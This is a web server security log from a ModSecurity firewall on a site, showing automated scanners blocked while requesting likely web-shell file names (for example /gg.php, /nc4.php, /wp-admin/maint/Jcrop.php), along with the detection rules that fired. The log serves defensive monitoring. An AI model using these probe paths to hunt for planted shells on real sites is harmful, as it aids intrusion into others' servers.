[Thu Mar 26 17:06:01.080999 2026] [:error] [pid 31780:tid 31820] [client 68.221.186.27:31459] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shlo.php"] [unique_id "acT2-ZJDwZsy5O4ZXEh5vQAAAgA"]
[Thu Mar 26 17:06:03.174458 2026] [:error] [pid 31780:tid 31839] [client 68.221.186.27:11184] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "acT2-5JDwZsy5O4ZXEh5wQAAAhI"]
[Thu Mar 26 17:06:04.603153 2026] [:error] [pid 31780:tid 31830] [client 68.221.186.27:10445] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "acT2_JJDwZsy5O4ZXEh5yAAAAgk"]
[Thu Mar 26 17:06:06.502345 2026] [:error] [pid 31717:tid 31731] [client 68.221.186.27:12859] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "acT2_r-SCF7YDISDX4_RmQAAAYk"]
[Thu Mar 26 17:06:07.795411 2026] [:error] [pid 31717:tid 31726] [client 68.221.186.27:46793] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "acT2_7-SCF7YDISDX4_RnQAAAYQ"]
[Thu Mar 26 17:06:08.520825 2026] [:error] [pid 31670:tid 31674] [client 68.221.186.27:10371] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we2.php"] [unique_id "acT3ADXVthXxCnWjOTRQLgAAAUI"]
[Thu Mar 26 17:06:10.089676 2026] [:error] [pid 31717:tid 31746] [client 68.221.186.27:16419] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we2.php"] [unique_id "acT3Ar-SCF7YDISDX4_RngAAAZg"]
[Thu Mar 26 17:06:10.991532 2026] [:error] [pid 31670:tid 31689] [client 68.221.186.27:2424] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we2.php"] [unique_id "acT3AjXVthXxCnWjOTRQOwAAAVE"]
[Thu Mar 26 17:06:11.627652 2026] [:error] [pid 31717:tid 31743] [client 68.221.186.27:12848] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we2.php"] [unique_id "acT3A7-SCF7YDISDX4_RogAAAZU"]
[Thu Mar 26 17:06:12.404388 2026] [:error] [pid 19710:tid 19734] [client 68.221.186.27:22879] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/juuuu.php"] [unique_id "acT3BAVEWP8Ar68Njk7yCgAAAAw"]
[Thu Mar 26 17:06:13.508547 2026] [:error] [pid 31778:tid 31797] [client 68.221.186.27:27369] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/juuuu.php"] [unique_id "acT3BQ3kybI2o-xasmDjbwAAAcQ"]
[Thu Mar 26 17:06:14.364071 2026] [:error] [pid 19818:tid 19820] [client 68.221.186.27:16409] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/juuuu.php"] [unique_id "acT3BszaSnm3d1BeM5XQkQAAAMA"]
[Thu Mar 26 17:06:15.991384 2026] [:error] [pid 31670:tid 31673] [client 68.221.186.27:26632] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/juuuu.php"] [unique_id "acT3BzXVthXxCnWjOTRQRgAAAUE"]
[Thu Mar 26 17:06:19.404012 2026] [:error] [pid 19818:tid 19839] [client 68.221.186.27:18031] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nox.php"] [unique_id "acT3C8zaSnm3d1BeM5XQoAAAANM"]
[Thu Mar 26 17:06:21.090499 2026] [:error] [pid 31780:tid 31825] [client 68.221.186.27:39345] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nox.php"] [unique_id "acT3DZJDwZsy5O4ZXEh52AAAAgU"]
[Thu Mar 26 17:06:22.579150 2026] [:error] [pid 19712:tid 19792] [client 68.221.186.27:26670] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nox.php"] [unique_id "acT3DtWhKhRNqm23vFMSdAAAAJA"]
[Thu Mar 26 17:06:23.839606 2026] [:error] [pid 31670:tid 31695] [client 68.221.186.27:55356] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nox.php"] [unique_id "acT3DzXVthXxCnWjOTRQTgAAAVc"]
[Thu Mar 26 19:16:50.727393 2026] [:error] [pid 31670:tid 31672] [client 43.130.12.43:56968] [client 43.130.12.43] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acUVojXVthXxCnWjOTSS8gAAAUA"]
[Thu Mar 26 19:48:57.092571 2026] [:error] [pid 31780:tid 31825] [client 43.157.50.58:34774] [client 43.157.50.58] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acUdKZJDwZsy5O4ZXEir7gAAAgU"]
[Thu Mar 26 20:53:33.565703 2026] [:error] [pid 31670:tid 31693] [client 20.240.134.170:60765] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zcsu.php"] [unique_id "acUsTTXVthXxCnWjOTTE0gAAAVU"]
[Thu Mar 26 20:53:35.443448 2026] [:error] [pid 31780:tid 31822] [client 20.240.134.170:59494] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zcsu.php"] [unique_id "acUsT5JDwZsy5O4ZXEi-WAAAAgI"]
[Thu Mar 26 20:53:37.808322 2026] [:error] [pid 60829:tid 60839] [client 20.240.134.170:46922] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zcsu.php"] [unique_id "acUsUfTdjHKeZokybaTSiAAAAQg"]
[Thu Mar 26 20:53:39.315893 2026] [:error] [pid 31780:tid 31827] [client 20.240.134.170:57748] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zcsu.php"] [unique_id "acUsU5JDwZsy5O4ZXEi-XgAAAgc"]
[Thu Mar 26 20:53:41.595329 2026] [:error] [pid 19712:tid 19785] [client 20.240.134.170:38045] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "acUsVdWhKhRNqm23vFMolgAAAIk"]
[Thu Mar 26 20:53:42.845387 2026] [:error] [pid 31717:tid 31736] [client 20.240.134.170:30786] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "acUsVr-SCF7YDISDX4_0hgAAAY4"]
[Thu Mar 26 20:53:44.323298 2026] [:error] [pid 19710:tid 19738] [client 20.240.134.170:39397] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "acUsWAVEWP8Ar68Njk4QBwAAABA"]
[Thu Mar 26 20:53:45.494396 2026] [:error] [pid 19712:tid 19781] [client 20.240.134.170:61139] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "acUsWdWhKhRNqm23vFMomgAAAIU"]
[Thu Mar 26 20:53:46.972377 2026] [:error] [pid 31780:tid 31833] [client 20.240.134.170:60774] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-cxs.php"] [unique_id "acUsWpJDwZsy5O4ZXEi-YwAAAgw"]
[Thu Mar 26 20:53:47.976142 2026] [:error] [pid 19712:tid 19785] [client 20.240.134.170:57757] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-cxs.php"] [unique_id "acUsW9WhKhRNqm23vFMoowAAAIk"]
[Thu Mar 26 20:53:50.570062 2026] [:error] [pid 31670:tid 31689] [client 20.240.134.170:57768] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-cxs.php"] [unique_id "acUsXjXVthXxCnWjOTTE7gAAAVE"]
[Thu Mar 26 20:53:51.973228 2026] [:error] [pid 31670:tid 31689] [client 20.240.134.170:39394] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-cxs.php"] [unique_id "acUsXzXVthXxCnWjOTTE_wAAAVE"]
[Thu Mar 26 20:53:53.275695 2026] [:error] [pid 31780:tid 31840] [client 20.240.134.170:61156] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scanner.php"] [unique_id "acUsYZJDwZsy5O4ZXEi-bAAAAhM"]
[Thu Mar 26 20:53:54.418823 2026] [:error] [pid 31670:tid 31688] [client 20.240.134.170:61156] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scanner.php"] [unique_id "acUsYjXVthXxCnWjOTTFBgAAAVA"]
[Thu Mar 26 20:53:55.128954 2026] [:error] [pid 31670:tid 31676] [client 20.240.134.170:40751] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scanner.php"] [unique_id "acUsYzXVthXxCnWjOTTFCAAAAUQ"]
[Thu Mar 26 20:53:56.196523 2026] [:error] [pid 19710:tid 19727] [client 20.240.134.170:46914] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scanner.php"] [unique_id "acUsZAVEWP8Ar68Njk4QDwAAAAU"]
[Thu Mar 26 20:53:57.494660 2026] [:error] [pid 31780:tid 31822] [client 20.240.134.170:65267] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "acUsZZJDwZsy5O4ZXEi-cwAAAgI"]
[Thu Mar 26 20:53:58.671833 2026] [:error] [pid 31717:tid 31734] [client 20.240.134.170:40738] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "acUsZr-SCF7YDISDX4_0iwAAAYw"]
[Thu Mar 26 20:53:59.966231 2026] [:error] [pid 60829:tid 60831] [client 20.240.134.170:4126] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "acUsZ_TdjHKeZokybaTSnAAAAQA"]
[Thu Mar 26 20:54:01.168188 2026] [:error] [pid 31778:tid 31807] [client 20.240.134.170:30834] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "acUsaQ3kybI2o-xasmAZ0wAAAc4"]
[Thu Mar 26 20:54:01.802852 2026] [:error] [pid 31778:tid 31812] [client 20.240.134.170:60745] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "acUsaQ3kybI2o-xasmAZ1QAAAdM"]
[Thu Mar 26 20:54:02.814858 2026] [:error] [pid 31778:tid 31798] [client 20.240.134.170:46944] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "acUsag3kybI2o-xasmAZ1wAAAcU"]
[Thu Mar 26 20:54:03.796174 2026] [:error] [pid 19711:tid 19758] [client 20.240.134.170:59501] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "acUsa2j3l1y81GYfluSfeQAAAEk"]
[Thu Mar 26 20:54:04.865879 2026] [:error] [pid 31778:tid 31802] [client 20.240.134.170:61181] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "acUsbA3kybI2o-xasmAZ3gAAAck"]
[Thu Mar 26 20:54:05.559602 2026] [:error] [pid 31778:tid 31805] [client 20.240.134.170:30817] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acUsbQ3kybI2o-xasmAZ3wAAAcw"]
[Thu Mar 26 20:54:06.330702 2026] [:error] [pid 60829:tid 60847] [client 20.240.134.170:4103] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acUsbvTdjHKeZokybaTSogAAARA"]
[Thu Mar 26 20:54:07.413479 2026] [:error] [pid 60829:tid 60851] [client 20.240.134.170:57749] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acUsb_TdjHKeZokybaTSowAAARQ"]
[Thu Mar 26 20:54:13.883654 2026] [:error] [pid 19818:tid 19828] [client 20.240.134.170:54552] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acUsdczaSnm3d1BeM5UsnQAAAMg"]
[Thu Mar 26 20:54:15.323082 2026] [:error] [pid 19710:tid 19723] [client 20.240.134.170:40714] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nc4.php"] [unique_id "acUsdwVEWP8Ar68Njk4QFgAAAAE"]
[Thu Mar 26 20:54:16.371988 2026] [:error] [pid 19818:tid 19833] [client 20.240.134.170:39395] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nc4.php"] [unique_id "acUseMzaSnm3d1BeM5UspgAAAM0"]
[Thu Mar 26 20:54:17.327212 2026] [:error] [pid 19818:tid 19822] [client 20.240.134.170:59462] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nc4.php"] [unique_id "acUseczaSnm3d1BeM5UsqwAAAMI"]
[Thu Mar 26 20:54:18.498529 2026] [:error] [pid 19712:tid 19795] [client 20.240.134.170:54562] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nc4.php"] [unique_id "acUsetWhKhRNqm23vFMorgAAAJM"]
[Thu Mar 26 20:54:19.274382 2026] [:error] [pid 31670:tid 31696] [client 20.240.134.170:59517] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "acUsezXVthXxCnWjOTTFJAAAAVg"]
[Thu Mar 26 20:54:20.037451 2026] [:error] [pid 31717:tid 31722] [client 20.240.134.170:54534] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "acUsfL-SCF7YDISDX4_0lwAAAYA"]
[Thu Mar 26 20:54:21.280667 2026] [:error] [pid 31780:tid 31845] [client 20.240.134.170:60750] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "acUsfZJDwZsy5O4ZXEi-gAAAAhg"]
[Thu Mar 26 20:54:22.351404 2026] [:error] [pid 19710:tid 19732] [client 20.240.134.170:39398] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "acUsfgVEWP8Ar68Njk4QGgAAAAo"]
